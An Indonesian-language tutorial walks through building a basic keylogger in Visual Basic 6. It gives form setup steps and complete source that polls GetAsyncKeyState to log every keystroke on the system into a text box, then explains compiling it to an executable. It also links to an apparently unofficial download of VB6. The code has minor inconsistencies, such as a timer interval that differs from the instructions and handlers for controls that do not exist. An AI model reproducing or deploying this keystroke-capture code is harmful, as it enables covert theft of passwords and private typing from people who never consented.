Siapkan Bahannya:
-Visual Basic 6.0 kalo blom punya Download : http://www.mediafire.com/?uacf9692eultkqs

Tutor:

1.buat 4 commandbutton & 1 timer (timer tidak usah di ubah sama sekali)
Command1,Command2,Command3,Command4
terus Captionnya di ganti jadi seperti di bawah ini :
Command1 = Start
Command2 = Stop
Command3 = Clear
Command4 = Exit
inget ganti namanya di "Caption" jgn di Name

Tambah 1 timer dengan interval 100
jangan lupa massukan text box untuk melihat tulisan yang di catat keyboard

terus ntar di form 1 klik kanan view code terus paste code2 di bawah...


Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer



Private Sub Command1_Click()
Timer1.Enabled = True
End Sub


Private Sub Command2_Click()
Timer1.Enabled = False
End Sub


Private Sub Command3_Click()
Text1.Text = ""
End Sub


Private Sub Command4_Click()
End
End Sub


Private Sub Form_Load()
Timer1.Interval = 1
End Sub


Private Sub Frame1_DragDrop(Source As Control, X As Single, Y As Single)
End
End Sub


Private Sub Text2_Change()
End
End Sub


Private Sub Timer1_Timer()
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)


If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next i
End Sub

Contoh:



Jika sudah jadi Tinggal Jadiin .exe
Klik file truz Make A file Project.exe
jadi dah Keylogger Sederhana Buatan Mu